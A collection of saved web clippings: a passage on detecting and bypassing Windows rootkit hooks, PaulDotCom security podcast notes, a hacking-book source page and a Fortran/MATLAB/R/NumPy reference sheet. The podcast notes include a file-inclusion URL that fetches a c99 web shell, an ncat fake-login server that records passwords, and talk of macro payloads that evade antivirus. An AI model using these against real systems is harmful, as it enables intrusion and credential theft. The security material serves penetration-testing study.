modifying the first few \(usually 5\) bytes of a target function. A standard
way to do this is to overwrite the first 5 bytes of the function with a jump
to malicious code, the malicious code can then read the function arguments and
do whatever it needs. If the malicious code requires results from the original
function \(the one it hooked\): it may call the function by executing the 5
bytes that were overwritten then jump 5 bytes into the original function,
which will miss the malicious jump/call to avoid infinite
recursion/redirection.  
  
<img src='img/Temp2_8424.png' width='400' height='168' />  
---  
Example of an inline hook jumping to malicious code then executing the
original function  
**Bypass / Detection \(Ring 3\)**

In usermode inline hooks are usually place inside functions that are exported
by a dll. The most accurate way to detect and bypass these hooks would be to
compare each dll against the original code. First a program would need to get
a list of each dll that is loaded, find the original file and read it, align
and load the sections into memory then perform base relocation. Once the new
copy of the dll is loaded into memory, the application can walk the export
address table and compare each function vs that in the original dll. In order
to bypass hooks, an application can then either replace the overwritten code
using the code from the newly loaded dll, alternatively, it could resolve
imports in the newly loaded dll and use it instead \(be aware that some dlls
will not work if more than 1 instance is loaded\).

  

This method of bypassing dll hooks practically involves writing your own
implementation of LoadLibrary, it's really not for the beginners or faint-
hearted. As much as I would like to post the code to do this, I won't, because
it can \(and will\) be used by scriptkiddies to bypass usermode antivirus
sandboxes or fight with other rootkits.

\(We can also use manual dll loading to detect / fix EAT hooks, I won't go
into this in detail as EAT hooks are very uncommon\).

  

**Bypass / Detection \(Ring 0\)**

In kernel mode, inter-modular jumps are a lot more rare. Hooks in ntoskrnl can
usually be detected by disassembling each instruction in each function, then
looking for jumps or calls that point outside of ntoskrnl \(into driver
bodies, etc\). It is also possible to use the same method explained for
usermode hook detection: a driver could read each ntoskrnl module from disk,
load it into memory and compare the instructions against the original.

  

For inline hooks within drivers, scanning for jmp / call instructions that
point outside of the driver body is much more likely to result in false
positives, however, non-standard drivers that are the target of jumps / calls
inside standard kernel drivers should raise a red flag. It is also possible to
read drivers from disk. As drivers generally do not export many functions and
IRP major function pointers are only initialized at runtime, it would probably
be required that you compare the entire code section of the original and new
driver. It is important to note that relative calls / jumps are susceptible to
changes during relocation, this means that there will naturally be some
differences between the original and new driver, however both relative calls /
jumps should point to the same place.

  

  

##  SSDT Hooks

**Description**  
The System Serivce Dispatch Table \(SSDT\) is a table of pointers for various
Zw/Nt functions, that are callable from usermode. A malicious application can
replace pointers in the SSDT with pointers to its own code.  
<img src='img/Temp2_8426.png' width='400' height='118' />  
---  
Example call paths for Nt/Zw functions  
  
  
**Detection \(Ring 0\)**  
All pointers in the SSDT should point to code within ntoskrnl, if any pointer
is pointing outside of ntsokrnl it is likely hooked. It's possible a rootkit
could modify ntoskrnl.exe \(or one of the related modules\) in memory and slip
some code into an empty space, in which case the pointer would still point to
within ntoskrnl. As far as I'm aware, functions starting with "Zw" are
intercepted by SSDT hooks, but those beginning with "Nt" are not, therefore an
application should be able to detect SSDT hooks by comparing Nt\* function
addresses with the equivalent pointer in the SSDT.  
  
**Bypass**  
A simple way to bypass SSDT hooks would be by calling only Nt\* functions
instead of the Zw\* equivalent. It is also possible to find the original SSDT
by loading ntoskrnl.exe \(this can be done easily with LoadLibraryEx in
usermode\) then finding the export "KeServiceDescriptorTable" and using it to
calculate the offset of KiServiceTable within the disk image \(Usermode
applications can use NtQuerySystemInformation to get the kernel base address\)
, a kernel driver is required to replace the SSDT.  
  

##  SYSENTER\_EIP Hook

**Description**  
SYSENTER\_EIP points to the code to be executed when the SYSENTER instruction
is used. Usermode applications use SYSENTER to transition into kernel mode and
call a kernel function \(Those beginning with Nt/Zw\), usually it would point
to KiFastCallEntry, but can be replaced in order to hook all usermode calls to
kernel functions.  
  
**Detection / Bypass**  
SYSENTER\_EIP hooking does not effect kernel mode drivers, and cannot be
bypassed from usermode. In order to allow usermode applications to bypass this
hook, a kernel driver must set SYSENTER\_EIP to its original value
\(KiFastCallEntry\), this can be done using the WRMSR instruction, however
because KiFastCallEntry is not exported by ntoskrnl, getting the address could
be tricky.  
  

##  IRP Major Function Hook

**Description**  
The driver object of each driver contains a table of 28 function pointer,
these pointer are to be called by other drivers via IoCallDriver or
alternative means, the pointers correspond to operations such as read/write
\(IRP\_MJ\_READ/IRP\_MJ\_WRITE\). These pointers can easily be replace by
another driver.  
  
**Detection**  
Generally all IRP major function pointers for a driver should point to code
within the driver's address space, this is not always the case, but is a good
start to identifying malicious drivers which have redirected the IRP major
functions of legitimate drivers to their own code.  
  
**Bypass**  
Due to IRP major function pointers being initialized from withing the driver
entry point \(during runtime\), it's not really possible to get the original
values by reading the original driver from disk, there are also issues with
loading a new copy of the driver due to collisions. The only way I can think
of for bypassing these sorts of hooks would be calling the lower driver
\(Drivers are generally stacked and the top driver passes the data to the
driver below and so on, if the lowest driver isn't hooked, an application
could just send the request directly to the lowest driver\).  
  

##  Conclusion

I can't think of what to write for a conclusion, so here's a picture of a man
being chased by a seal.

  

<img src='img/Temp2_8425.png' width='400' height='201' />  
---  
Seal of disapproval

# WScript Emulator

**Created:**| _6/29/2017 3:58:34 PM_  
---|---  
**Updated:**| _6/29/2017 3:58:34 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Load file

Source on Github

  

# Episode159 - PaulDotCom Security Weekly

**Created:**| _8/5/2009 1:05:57 PM_  
---|---  
**Updated:**| _8/5/2009 1:07:41 PM_  
**Author:**| __  
**Tags:**| _windows security security tools pauldotcom Live Distri Metasploit
network-security Tutorials_  
  

# Tech Segment: PaulDotCom discusses Moth

I've tested several differnt vulnerable-on-purpose distributions over the past
few months. From DVL, to Mutillidae, they have all helped me test software and
practice hacking. Moth is one of the best ones around for web application
practice, it includes a giagantic amount of software and has been a proving
ground for web appl testing tools.

It was a bit tricky to get working, make sure you run this command:

[code]

    $./sudo dpkg-reconfigure console-setup
[/code]

The Moth VMware image is ready for download from the Bonsai - Information
Security Services site.

There are three different ways to access the web applications and vulnerable
scripts included in moth:

  1. Directly
  2. Through mod\_security
  3. Through PHP-IDS \(only if the web application is written in PHP\)

Both mod\_security and PHP-IDS have their default configurations and they show
a log of the offending request when one is found. This is great because we can
test our defensive measures too.

I used Nessus and easily found several vulnerabilities, including:

CGI Generic Remote File Inclusion Vulnerability

[code]

    /w3af/audit/local_file_inclusion/trivial_lfi.php?file=http://192.168.1.26/c99.txt??
[/code]

Also gave me a chance to test some RFI scripts, I found a good one on
packetstorm.

So go download Moth and play\!

  

  

Tech Segment brought to you by John Strand and the letter "V"\(NOTE: "V" is
for VBscript\)How does the msfpayload V option work? How can you extend this
idea?In this video tech segment we take a look at the V option for msfpayload.
With this option we can output metasploit payloads into VBScript so they can
be loaded as Macros in Excel spreadsheets and Word documents. We also take a
look at exe2vba.rb and how we can take any exe file and output it into
VBScript. The Important thing to keep in mind is that you should not get
stopped by AV. There is always a way to get your payload to the target
enviroment you just have to be crafty on how you are going to get it there. I
fully expect that we will see some more cool client-side attack goodness
coming from the Metasploit project soon. Speaking of Metasploit.... I wonder
if Chris Gates has any word on Dean's new client side pen-testing project?  
  
Below are some great resources to get started with VBScripts in your pen-
tests:Mark Baggett's VBScript videoDarkoperator's post on exe2vbs that got me
started with this a few months back.Securiteam's walkthrough on how to import
the VBScript into a Word macroThe following links are from Invisible Denizen
on just how far you can take VBScripts in your tests:Download and execute a
fileRunning commands as SYSTEMKill AVChanging Windows firewall rules  
Group Tech Segment: Nmap Version 5.00 Released\!What a treat, Nmap version 5.0
released\! W00t\!We get some treats with NSE, such as:3306/tcp open mysql
MySQL 5.0.18| mysql-info: Protocol: 10| Version: 5.0.18| Thread ID: 49| Some
Capabilities: Connect with DB, Compress, SSL, Transactions, Secure Connection|
Status: Autocommit|\_ Salt: s/,2S-$my9MVKSB-\[bZ|Zone transfer:53/tcp open
domain ISC BIND Hack Naked| dns-zone-transfer:| pauldotcom.com SOA localhost
root.localhost| pauldotcom.com NS localhost| pauldotcom.com NS
madmonk.pauldotcom.com| wrt-bridge.pauldotcom.com A 192.168.1.40|
freebsd62.pauldotcom.com A 192.168.1.23| kwan.pauldotcom.com A 192.168.1.15|
wrt-basement.pauldotcom.com A 192.168.1.91Wireless router support:80/tcp open
http Intoto httpd 1.0| http-auth: HTTP Service requires authentication| Auth
type: Basic, realm = WRT54G|\_ HTTP server may accept admin:admin combination
for Basic authentication|\_ html-title: 401 UnauthorizedI was experimenting
with ncat, after 15 minutes I gave up, this is only half working:ncat -k -vv
-l 23 --sh-exec 'echo -n Enter Username: ; read user; echo -n Password: ; read
pass; echo $user:$pass > test'I like the idea of using ncat as a fake server,
there are more examples in the doc. I was trying to create a fake TELNET
server and log usernames and passwords. Be neat to have these scripts working.  

# The Web Application Hacker's Handbook - Source Code

**Created:**| _12/28/2011 2:19:40 PM_  
---|---  
**Updated:**| _12/28/2011 2:19:40 PM_  
**Author:**| __  
**Tags:**| _bookmark book_  
  

  * 

Site Contents

  * Second edition:
    * Book contents
    * Answers
    * Source code
  * First edition:
    * Book contents
    * Answers
    * Source code
  * Tools
  * Task checklist
  * Buy

Here you can download the source code for the example configurations of the
JAttack tool introduced in Chapter 14 of the second edition.

Note that if you are running the JAttack code against the MDSec online
training labs, you'll need to edit and recompile the source code to use the
URL and session cookie that you are given in your lab session. Otherwise, you
will need to modify the code to work with the specific application you are
targeting. As discussed in Chapter 14 you should ideally use this code as a
base for creating more powerful and versatile scripts for automating your
customized attacks against applications.

JAttack - enumerating identifiers

JAttack - harvesting data

JAttack - fuzzing for vulnerabilities

# Numerical Analysis Software: Fortran, MATLAB, R, NumPy - Hyperpolyglot

**Created:**| _10/12/2011 8:02:47 AM_  
---|---  
**Updated:**| _10/12/2011 8:02:47 AM_  
**Author:**| __  
**Tags:**| _matlab_  
  

# Hyperpolyglot

Numerical Analysis Software: Fortran, MATLAB, R, NumPy

_a side-by-side reference sheet_

arithmetic and logic | random numbers | strings | dates and time | arrays and vectors | other containers | matrices | data sets | statistics | functions | execution control | environment and i/o | libraries and modules | reflection | univariate charts | bivariate charts | trivariate charts | contact | edit  

| fortran \(1957\)| matlab \(1984\)| r \(2000\)| numpy \(2005\)  
---|---|---|---|---  
version used|  _GNU Fortran 4.5 \(Fortran 95\)_| _Octave 3.2_|  _2.6_|
_Python 2.7_  
_NumPy 1.6_  
_matplotlib 1.0_  
implicit prologue|  _none_|  _none_|  _none_|  import sys, os, re, math  
import numpy as np  
import pylab as pl  
get version| $ gfortran \--version| $ octave \--version| $ r \--version|
sys.version  
np.\_\_version\_\_  
pl.matplotlib.\_\_version\_\_  
command line repl|  _none_|  $ octave| $ r| $ python  
interpreter  
|  _none_|  $ octave foo.m| $ r -f foo.r| $ python foo.py  
compiler  
| $ gfortran foo.f90 -o foo|  _none_|  _none_|  _none_  
get function documentation|  _none_|  help tan| help\(tan\)  
?tan| math.tan.\_\_doc\_\_  
grep documentation|  _none_|  _not in Octave:_  
docsearch tan| ??tan| $ pydoc -k tan  
statement separator|  _newline_  
  
_terminate a line with_ & _to continue the statement on the following line_|
; _or newline_|  ; _or sometimes newline_|  _newline or ;  
  
newlines not separators inside \(\), \[\], \{\}, triple quote literals, or
after backslash: \_  
block delimiters| | function endfunction  
if elseif else endif  
while endwhile  
do until  
for endfor| \{ \}| _offside rule_  
assignment| i = 3| i = 3| i = 3  
i <\- 3  
3 -> i  
assign\("i",3\)| i = 3  
must variable be declared|  _yes with_ IMPLICIT NONE| | |  _no; created by assignment if identifier on left does not refer to a variable_  
identifiers case sensitive|  _no_| | |  _yes_  
compound assignment operators: arithmetic, string, logical|  _none_|  _MATLAB
has no compound assignment operators. Octave has these:_  
+= -= \*= /= _none_ _none_ \*\*= _or_ ^=  
_none_ _none_  
&= |= _none_|  _none_|  \# do not return values:  
+= -= \*= /= //= %= \*\*=  
+= \*=  
&= |= ^=  
increment, decrement| | ++x \--x  
x++ x\--| _none_|  _none_  
to-end-of-line-notes comment| i = 1 + 1 \! addition| 1 + 1 % addition  
_Octave also supports \# comments:_  
1 + 1 \# addition| 1 + 1 \# addition| 1 + 1 \# addition  
null| |  _only used in place of numeric values:_  
NA| NA NULL| None  
null test| | isna\(v\)  
_true for_ '', \[\]:  
isnull\(v\)| is.na\(v\)  
is.null\(v\)| v == None  
v is None  
undefined variable access| |  _raises error_|  _raises error_|  _raises_ NameError  
arithmetic and logic  
| fortran| matlab| r| numpy  
true and false| .TRUE. .FALSE.| 1 0 true false| TRUE FALSE T F| True False  
falsehoods| | false 0 0.0  
_matrices evaluate to false unless nonempty and all entries evaluate to true_|
FALSE F 0 0.0  
_matrices evaluate to value of first entry; string in boolean context causes
error_|  False None 0 0.0 '' \[\] \{\}  
logical operators| .AND. .OR. .NOT. .EQV. .NEQV.| ~true | \(true & false\)  
_Optional negation operator in Octave:_ \!  
_short-circuit operators:_  
&& ||| \!TRUE | \(TRUE & FALSE\)  
_short-circuit operators:_  
&& ||| and or not  
conditional expression| |  _none_| \(if \(x > 0\) x else -x\)  
ifelse\(x > 0, x, -x\)| x if x > 0 else -x  
convert from string, to string| | 7 + str2num\('12'\)  
73.9 + str2num\('.037'\)  
horzcat\('value: ', num2str\(8\)\)| 7 + as.integer\("12"\)  
73.9 + as.double\(".037"\)  
paste\("value: ", toString\("8"\)\)| 7 + int\('12'\)  
73.9 + float\('.037'\)  
'value: ' + str\(8\)  
comparison operators| == /= > < >= <=| == ~= > < >= <=  
_Optional inequality operator in Octave:_ \!=| == \!= > < >= <=| == \!= > < >=
<=  
arithmetic operators| \+ - \* _none_ / mod\(_i_ , _divisor_\) \*\*| \+ - \* /
_none_ mod \*\* _or_ ^| \+ - \* / _? ?_ \*\* _or_ ^| \+ - \* / // %  
integer division| 13 / 5| fix\(13 / 5\)| as.integer\(13 / 5\)| 13 // 5  
float division| real\(13\) / 5| 13 / 5| 13 / 5| float\(13\) / 5  
arithmetic functions| | sqrt exp log sin cos tan asin acos atan atan2| sqrt exp log sin cos tan asin acos atan atan2| math.sqrt math.exp math.log math.sin math.cos math.tan math.asin math.acos math.atan math.atan2  
arithmetic truncation| | fix round ceil floor| as.integer round ceiling floor| int\(x\)  
int\(round\(x\)\)  
math.ceil\(x\)  
math.floor\(x\)  
abs\(x\)  
arithmetic decomposition| | abs sign _none_ _none_ real imag arg| abs sign _none_ _none_ Re Im Arg  
closure of integers under division| |  _floats_|  _floats_  
integer overflow| |  _becomes float; largest representable integer in the variable_ intmax|   
float overflow| | Inf| Inf  
float limits| | eps realmax realmin|   
1/0| | Inf| Inf  
sqrt\(-2\)| | sqrt\(-2\)  
0.00000 + 1.41421i| sqrt\(-2\)  
NaN  
sqrt\(-2+0i\)  
0+1.414214i  
complex numbers| | i  
2i  
3i| 1i  
2i  
3i| 1j  
2j  
3j  
random numbers  
| fortran| matlab| r| numpy  
setting seed| | rand\('state', 17\)| set.seed\(17\)  
result of not seeding| |  _seeded using operating system entropy_|  _seeded using current time_  
integer| | floor\(100\*rand\)| floor\(100\*runif\(1\)\)  
uniform| | rand| runif\(1\)  
normal| | normrnd\(0,1\)| rnorm\(1\)  
exponential| | exprnd\(1\)| rexp\(1\)  
poisson| | poissrnd\(1\)| rpois\(1,1\)  
sample w/o replacement| | | x = c\(3,7,5,12,19,8,4\)  
sample\(x, 3\)  
strings  
| fortran| matlab| r| numpy  
string literals| 'don''t say "no"'  
"don't say ""no"""| 'don''t say "no"'  
_Octave also has double quoted strings:_  
"don't say \"no\""| "don't say \"no\""  
'don\'t say "no"'  
newline in literal| |  _no; use \n escape_|  _yes_  
string literal escapes| | \\\ \" \' \0 \a \b \f \n \r \t \v| \\\ \" \' \a \b \f \n \r \t \v \_ooo_  
character access| | 'hello'\(1\)| substr\("hello",1,1\)  
chr and ord| | char\(65\)  
toascii\('A'\)| intToUtf8\(65\)  
utf8ToInt\("A"\)  
length| | length\('hello'\)| nchar\("hello"\)  
concatenate| 'one ' // 'two ' // 'three'| horzcat\('one ', 'two ', 'three'\)|
paste\("one ", "two ", "three"\)  
index of substring| |  _counts from one, returns  
zero if not found_  
index\('hello', 'el'\)| _counts from one, returns  
-1 if not found_  
regexpr\("el", "hello"\)  
extract substring| | substr\('hello',1,4\)| substr\("hello",1,4\)  
split| |  _returns tuple:_  
strsplit\('foo,bar,baz',','\)| strsplit\('foo,bar,baz', ','\)  
join| | | paste\("foo", "bar", "baz", sep=","\)  
paste\(c\('foo','bar','baz'\),  
collapse=','\)  
trim| | strtrim\(' foo '\)  
_??_  
deblank\('foo '\)| gsub\("\(^\[\n\t \]+|\[\n\t \]+$\)", "", " foo "\)  
sub\("^\[\n\t \]+", "", " foo"\)  
sub\("\[\n\t \]+$", "", "foo "\)  
case manipulation| | lower\('FOO'\)  
upper\('foo'\)| tolower\("FOO"\)  
toupper\("foo"\)  
sprintf| | sprintf\('%s: %.3f %d', 'foo', 2.2, 7\)| sprintf\("%s: %.3f %d", "foo", 2.2, 7\)  
regex test| | regexp\('hello','^\[a-z\]+$'\)  
regexp\('hello','^\S+$'\)| regexpr\("^\[a-z\]+$", "hello"\) > 0  
regexpr\('^\\\S+$', "hello",perl=T\) > 0  
regex substitution| | regexprep\('foo bar bar','bar','baz','once'\)  
regexprep\('foo bar bar','bar','baz'\)| sub\('bar','baz','foo bar'\)  
gsub\('bar','baz','foo bar bar'\)  
dates and time  
| fortran| matlab| r| numpy  
strptime| | | t = strptime\('2011-09-20 23:01:02', '%Y-%m-%d %H:%M:%S'\)|   
strftime| | | format\(t, format='%Y-%m-%d %H:%M:%S'\)|   
arrays and vectors  
| fortran| matlab| r| numpy  
array literal| | \[1,2,3\]| c\(1,2,3\)  
replication| | |   
must arrays be homogeneous| |  _yes_|  _yes_  
data types permitted in arrays| |  _numeric_|  _boolean, numeric, string_  
array element access| |  _indices start at one:_  
\[1,2,3\]\(1\)| _indices start at one:_  
c\(1,2,3\)\[1\]  
c\(1,2,3\)\[c\(1,3\)\]  
index of array element| | | which\(c\(7,8,9\)==9\)  
array slice| | \[1 2 3\]\(1:2\)| c\(1,2,3\)\[1:2\]  
integer array as index| | \[1,2,3\]\(\[1,3,3\]\)| c\(1,2,3\)\[c\(1,3,3\)\]  
logical array as index| | \[1,2,3\]\(\[true,false,true\]\)| c\(1,2,3\)\[c\(T,F,T\)\]  
array length| | length\(\[1,2,3\]\)| length\(c\(1,2,3\)\)  
manipulate back of array| | |   
manipulate front of array| | |   
array concatenation| | cat\(2, \[1,2,3\],\[4,5,6\]\)  
horzcat\(\[1,2,3\],\[4,5,6\]\)| append\(c\(1,2,3\),c\(4,5,6\)\)  
sort| | sort\(\[3 1 4 2\]\)| sort\(c\(3,1,4,2\)\)  
map| | arrayfun\( @\(x\) x\*x, \[1,2,3\]\)| sapply\(c\(1,2,3\), function \(x\) \{ x \* x\}\)  
filter| | v = \[1 2 3\]  
v\(v > 2\)| v = c\(1,2,3\)  
v\[v > 2\]  
reduce| | |   
vector literal| |  _same as array_|  _same as array_  
element-wise arithmetic operators| | \+ - .\* ./| \+ - \* /  
result of vector length mismatch| |  _raises error_|  _values in shorter vector are recycled; warning if one vector is not a multiple length of the other_  
scalar multiplication| | 3 \* \[1,2,3\]  
\[1,2,3\] \* 3| 3 \* c\(1,2,3\)  
c\(1,2,3\) \* 3  
dot product| | dot\(\[1,1,1\], \[2,2,2\]\)| c\(1,1,1\) %\*% c\(2,2,2\)  
cross product| | cross\(\[1,0,0\], \[0,1,0\]\)|   
norms| | norm\(\[1,2,3\], 1\)  
norm\(\[1,2,3\], 2\)  
norm\(\[1,2,3\], Inf\)| vnorm = function\(x, t\) \{ norm\(matrix\(x, ncol=1\),
t\) \}  
vnorm\(c\(1,2,3\), "1"\)  
vnorm\(c\(1,2,3\), "E"\)  
vnorm\(c\(1,2,3\), "I"\)  
other containers  
| fortran| matlab| r| numpy  
tuple literal| | t = \{1.7,'hello',\[1,2,3\]\}| t = list\(1.7,"hello",c\(1,2,3\)\)  
tuple element access| | t\{1\}| t\[\[1\]\]  
tuple length| | length\(t\)| length\(t\)  
record literal| | r = struct\('n',10,  
'avg',3.7,  
'sd',0.4\)| r = list\(n=10,avg=3.7,sd=0.4\)  
record member access| | r.n| r$n  
range| | 1:100| 1:100  
seq\(1,100\)  
arithmetic sequence of integers with difference 10| | 0:10:100| seq\(0,100,10\)  
arithmetic sequence of floats with difference 0.1| | 0:0.1:10| seq\(0,10,0.1\)  
matrices  
| fortran| matlab| r| numpy  
literal or constructor| | A = \[1,2;3,4\]  
B = \[4 3  
2 1\]| A = matrix\(c\(1,3,2,4\), 2, 2\)  
B = matrix\(c\(4,2,3,1\), nrow=2\)  
zero, identity, ones, diagonal matrix| | zeros\(3,3\) _or_ zeros\(3\)  
eye\(3\)  
ones\(3,3\) _or_ ones\(3\)  
diag\(\[1,2,3\]\)| matrix\(0,3,3\)  
diag\(3\)  
matrix\(1,3,3\)  
diag\(c\(1,2,3\)\)  
dimensions| | rows\(A\)  
columns\(A\)| dim\(A\)\[1\]  
dim\(A\)\[2\]  
element access| | A\(1,1\)| A\[1,1\]  
row access| | A\(1,1:2\)| A\[1,\]  
column access| | A\(1:2,1\)| A\[,1\]  
submatrix access| | C = \[1,2,3;4,5,6;7,8,9\]  
C\(1:2,1:2\)| C = matrix\(seq\(1,9\),3,3,byrow=T\)  
C\[1:2,1:2\]  
scalar multiplication| | 3 \* A  
A \* 3  
_also:_  
3 .\* A  
A .\* 3| 3 \* A  
A \* 3  
element-wise operators| | .+ .- .\* ./| \+ - \* /  
multiplication| | A \* B| A %\*% B  
kronecker product| | kron\(A,B\)| kronecker\(A,B\)  
comparison| | all\(all\(A==B\)\)  
any\(any\(A\!=A\)\)| all\(A==B\)  
any\(\!=B\)  
norms| | norm\(A,1\)  
norm\(A,2\)  
norm\(A,Inf\)  
norm\(A,'fro'\)| norm\(A,"1"\)  
_??_  
norm\(A,"I"\)  
norm\(A,"F"\)  
transpose| | transpose\(A\)  
A'| t\(A\)  
conjugate transpose| | A = \[1i,2i;3i,4i\]  
A'| A = matrix\(c\(1i,2i,3i,4i\), nrow=2, byrow=T\)  
Conj\(t\(A\)\)  
inverse| | inv\(A\)| solve\(A\)  
determinant| | det\(A\)| det\(A\)  
trace| | trace\(A\)| sum\(diag\(A\)\)  
eigenvalues| | eig\(A\)| eigen\(A\)$values  
eigenvectors| | \[evec,eval\] = eig\(A\)  
evec\(1:2\)  
evec\(3:4\)| eigen\(A\)$vectors  
system of equations| | A \ \[2;3\]| solve\(A,c\(2,3\)\)  
data sets  
| fortran| matlab| r| numpy  
construct from arrays| | |  _gender, height, weight of some  
people in inches and lbs:_  
sx = c\("F","F","F","F","M","M"\)  
ht = c\(69,64,67,66,72,70\)  
wt = c\(150,132,142,139,167,165\)  
people = data.frame\(sx, ht, wt\)  
view in spreadsheet| | |  _can edit data, in which case return value of_ edit _must be saved_  
people = edit\(people\)  
list column names| | | names\(people\)  
attach column names| | |  _copy columns into variables  
named_ sx, ht _and_ wt:  
attach\(people\)  
detach column names| | | detach\(people\)  
access column| | |  _vectors:_  
people$ht  
people\[,2\]  
_1 column data set:_  
people\[2\]  
access row| | |  _1 row data set:_  
people\[1,\]  
access sub data set| | |  _data set of first 3 rows with_  
ht _and_ wt _columns reversed_  
people\[1:3,c\(1,3,2\)\]  
access datum| | |  _datum in 1st row, 2nd column:_  
people\[1,2\]  
sort rows of data set| | | people\[order\(people$ht\),\]  
sort rows in descending order| | | people\[order\(-people$ht\),\]  
map data set| | |  _convert to cm and kg:_  
transform\(people, ht=2.54\*ht, wt=wt/2.2\)  
filter data set| | | subset\(people, ht > 66\)  
people\[people$ht > 66,\]  
load from csv| | | people = read.csv\('/path/to.csv'\)  
save as csv| | | write.csv\('/path/to.csv'\)  
load from database| | |   
show built-in data sets| | | data\(\)  
load built-in data set| | | data\(iris\)  
statistics  
| fortran| matlab| r| numpy  
descriptive statistics| | sum mean std median min max| sum mean sd median min max  
moment| | |   
rank| | |   
quantile| | |   
normal cdf| | normcdf\(3.0\)| pnorm\(3.0\)  
normal quantile| | norminv\(.99865\)| qnorm\(.99865\)  
linear regression| | ols\(\[2;4;6\],\[1;2;3\]\)| x <\- c\(1,2,3\); y <\- c\(2,4,6\); lm\(y ~ x\)  
functions  
| fortran| matlab| r| numpy  
definition| | function add\(a,b\)  
a+b  
endfunction| add = function\(a,b\) \{a + b\}  
invocation| | add\(3,7\)| add\(3,7\)  
return value| |  _how to declare a return variable:_  
function retvar = add\(a,b\)  
retvar = a + b  
endfunction  
  
_the return value is the value assigned to the return variable if one is
defined; otherwise it's the last expression evaluated._|  return _argument or
last expression evaluated._ NULL _if_ return _called without an argument._  
function value| | @add| add  
anonymous function| | @\(a,b\) a+b| function\(a,b\) \{a+b\}  
missing argument| |  _raises error if code with the parameter that is missing an argument is executed_|  _raises error_  
extra argument| |  _ignored_|  _raises error_  
default argument| | function mylog\(x, base=10\)  
log\(x\) / log\(base\)  
endfunction| mylog = function\(x,base=10\) \{  
log\(x\) / log\(base\)  
\}  
variable number of arguments| | function s = add\(varargin\)  
if nargin == 0  
s = 0  
else  
r = add\(varargin\{2:nargin\}\)  
s = varagin\{1\} + r  
endif  
endfunction| add = function \(...\) \{  
a = list\(...\)  
if \(length\(a\) == 0\)  
return\(0\)  
s = 0  
for\(i in 1:length\(a\)\) \{  
s = s + a\[\[i\]\]  
\}  
return\(s\)  
\}  
execution control  
| fortran| matlab| r| numpy  
if| if \(n == 0\) then  
write\(\*,\*\) 'no hits'  
elseif \(n == 1\) then  
write\(\*,\*\) 'one hit'  
else  
write\(\*,\*\) n, 'hits'  
endif| if \(x > 0\)  
printf\('positive\n'\)  
elseif \(x < 0\)  
printf\('negative\n'\)  
else  
printf\('zero\n'\)  
endif| if \(x > 0\) \{  
print\('positive'\)  
\} else if \(x < 0\) \{  
print\('negative'\)  
\} else \{  
print\('zero'\)  
\}  
while| n = 1  
do while \( n < 10 \)  
write\(\*,\*\) n  
n = n + 1  
end do| i = 0  
while \(i < 10\)  
i++  
printf\('%d\n', i\)  
endwhile| while \(i < 10\) \{  
i = i + 1  
print\(i\)  
\}  
for| | for i = 1:10  
printf\('%d\n', i\)  
endfor| for \(i in 1:10\) \{  
print\(i\)  
\}  
break/continue| | break continue| break next  
raise exception| | error\('%s', 'failed'\)| stop\('failed'\)  
handle exception| | try  
error\('failed'\)  
catch  
printf\('%s\n', lasterr\(\)\)  
end\_try\_catch| tryCatch\(  
stop\('failed'\),  
error=function\(e\) print\(message\(e\)\)\)  
finally block| | unwind\_protect  
if \( rand > 0.5 \)  
error\('failed'\)  
endif  
unwind\_protect\_cleanup  
printf\('cleanup'\)  
end\_unwind\_protect| risky = function\(\) \{  
if \(runif\(1\) > 0.5\) \{  
stop\('failed'\)  
\}  
\}  
tryCatch\(  
risky\(\),  
finally=print\('cleanup'\)\)  
environment and i/o  
| fortran| matlab| r| numpy  
write to stdout| write\(\*,\*\) 'hello'| printf\('hello\n'\)| print\('hello'\)  
read entire file into string or array| | | con = file\("/etc/hosts", "r"\)  
a = readLines\(con\)  
redirect to file| | | sink\("foo.txt"\)  
libraries and modules  
| fortran| matlab| r| numpy  
load| | | source\("foo.R"\)  
reflection  
| fortran| matlab| r| numpy  
query data type| | class\(x\)| class\(x\)  
list variables in scope| | who\(\)| objects\(\)  
undefine variable| | | rm\(v\)  
univariate charts  
| fortran| matlab| r| matplotlib  
<img src='img/Temp2_5644.jpg' alt='5039793334_f76edece33_m.jpg' /> vertical bar chart| | bar\(\[7 3 8 5 5\]\)| cnts = c\(7,3,8,5,5\)  
names\(cnts\) = c\("a","b","c","d","e"\)  
barplot\(cnts\)  
  
x = floor\(6\*runif\(100\)\)  
barplot\(table\(x\)\)| cnts = \[7,3,8,5,5\]  
pl.bar\(range\(0,len\(cnts\)\), cnts\)  
<img src='img/Temp2_5646.jpg' alt='5039776078_cc38a4ff5f_m.jpg' />  
horizontal bar chart| | barh\(\[7 3 8 5 5\]\)| cnts = c\(7,3,8,5,5\)  
names\(cnts\) = c\("a","b","c","d","e"\)  
barplot\(cnts, horiz=T\)| cnts = \[7,3,8,5,5\]  
pl.barh\(range\(0,len\(cnts\)\), cnts\)  
<img src='img/Temp2_5641.jpg' alt='5037819710_d932767cd5_m.jpg' /> pie chart| | labels = \{'a','b','c','d','e'\}  
pie\(\[7 3 8 5 5\], labels\)| cnts = c\(7,3,8,5,5\)  
names\(cnts\) = c\("a","b","c","d","e"\)  
pie\(cnts\)| cnts = \[7,3,8,5,5\]  
labs = \['a','b','c','d','e'\]  
pl.pie\(cnts, labels=labs\)  
<img src='img/Temp2_5653.jpg' alt='5037283957_9499b8529a_m.jpg' /> stacked dot chart| | | stripchart\(floor\(10\*runif\(50\)\),  
method="stack",  
offset=1,  
pch=19\)|  
<img src='img/Temp2_5651.jpg' alt='5037399669_13c8e585e0_m.jpg' />  
stem-and-leaf plot| | |  _generates an ascii chart:_  
stem\(20\*rnorm\(100\)\)|  
<img src='img/Temp2_5648.jpg' alt='5037415497_4c6fbfcab2_m.jpg' /> histogram| | hist\(randn\(1,100\),10\)| hist\(rnorm\(100\),breaks=10\)| pl.hist\(pl.randn\(100\),  
bins=range\(-5,5\)\)  
<img src='img/Temp2_5645.jpg' alt='5037525393_7ac86e81c3_m.jpg' /> box-and-whisker plot| | | boxplot\(rnorm\(100\)\)  
  
boxplot\(rnorm\(100\),  
rexp\(100\),  
runif\(100\)\)| pl.boxplot\(pl.randn\(100\)\)  
  
pl.boxplot\(\[pl.randn\(100\),  
np.random.uniform\(size=100\),  
np.random.exponential\(size=100\)\]\)  
set chart title| | |  _all chart functions except for_ stem _accept a_ main _parameter:_  
boxplot\(rnorm\(100\),  
main="boxplot example",  
sub="to illustrate options"\)| pl.boxplot\(pl.randn\(100\)\)  
pl.title\('boxplot example'\)  
bivariate charts  
| fortran| matlab| r| matplotlib  
<img src='img/Temp2_5640.jpg' alt='5039126187_e340b3f4aa_m.jpg' />  
